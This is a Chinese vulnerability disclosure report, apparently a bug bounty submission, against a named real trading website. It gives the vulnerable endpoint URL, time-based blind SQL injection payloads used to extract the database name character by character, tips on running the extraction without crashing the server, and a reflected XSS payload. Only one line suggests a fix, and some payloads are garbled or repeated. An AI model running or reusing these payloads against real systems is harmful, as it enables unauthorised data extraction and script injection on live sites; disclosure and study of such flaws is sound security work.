声明:该系列所揭示的漏洞目前厂家已经全部修复,此处发布相关的内容只为提供学习用途,请勿做其他恶意破坏。
漏洞证明:
一、SQL延时盲注:
官网地址:https://www.btwintrade.com
服务器令我无力吐槽,根本不敢用脚本跑,一跑就死,就做个简单的危害证明了。!!!审核大大在复现的时候,对数据库名称进行爆破的时候一定要使用单线程,千万千万别使用多线程,服务器会被直接跑挂掉的,对了还有,必须要把cookie删掉跑。不然它一个session对应一个服务器线程,一卡死后面的请求都卡死。。我为了提交这个漏洞整整复现了一天
漏洞地址:https://my.btwintrade.com/restore_verification.php?email=1@qq.com
访问漏洞地址之后可以获取到数据包:
构造延时注入payload:
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/
可以看到延时了:
构造查询语句:
if(now()=sysdate(),sleep(1),0)/*%27XOR(if(('a'(select%20mid(database(),1,1))),sleep(1),0))OR%27%22XOR(if(1=1,sleep(1),0))OR%22*/
哪一位卡住了就是下一位字母
对payload中的a进行爆破:
数据库第一位是c
第二位:if(now()=sysdate(),sleep(1),0)/*%27XOR(if(('a'(select%20mid(database(),2,1))),sleep(1),0))OR%27%22XOR(if(1=1,sleep(1),0))OR%22*/
标记a进行爆破:
数据库第二位为o
第三位:if(now()=sysdate(),sleep(1),0)/*%27XOR(if(('a'=(select%20mid(database(),3,1))),sleep(1),0))OR%27%22XOR(if(1=1,sleep(1),0))OR%22*/
第三位为i
第四位: if(now()=sysdate(),sleep(1),0)/*%27XOR(if(('a'=(select%20mid(database(),4,1))),sleep(1),0))OR%27%22XOR(if(1=1,sleep(1),0))OR%22*/
第四位n 数据库名称 coin
验证数据库名称长度:
if(now()=sysdate(),sleep(1),0)/*%27XOR(if((4=length(database())),sleep(1),0))OR%27%22XOR(if(1=1,sleep(1),0))OR%22*/
第四位n 数据库名称 coin
验证数据库名称长度:
if(now()=sysdate(),sleep(1),0)/*%27XOR(if((4=length(database())),sleep(1),0))OR%27%22XOR(if(1=1,sleep(1),0))OR%22*/
可以看到数据库length为4卡住了 数据库名coin 仅作危害证明
二、反射xss:
https://my.btwintrade.com/restore_verification.php?email=1%22%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E
漏洞利用代码:
"><script>alert("xss")</script>
修复方案:
使用预编译sql语句,过滤关键字符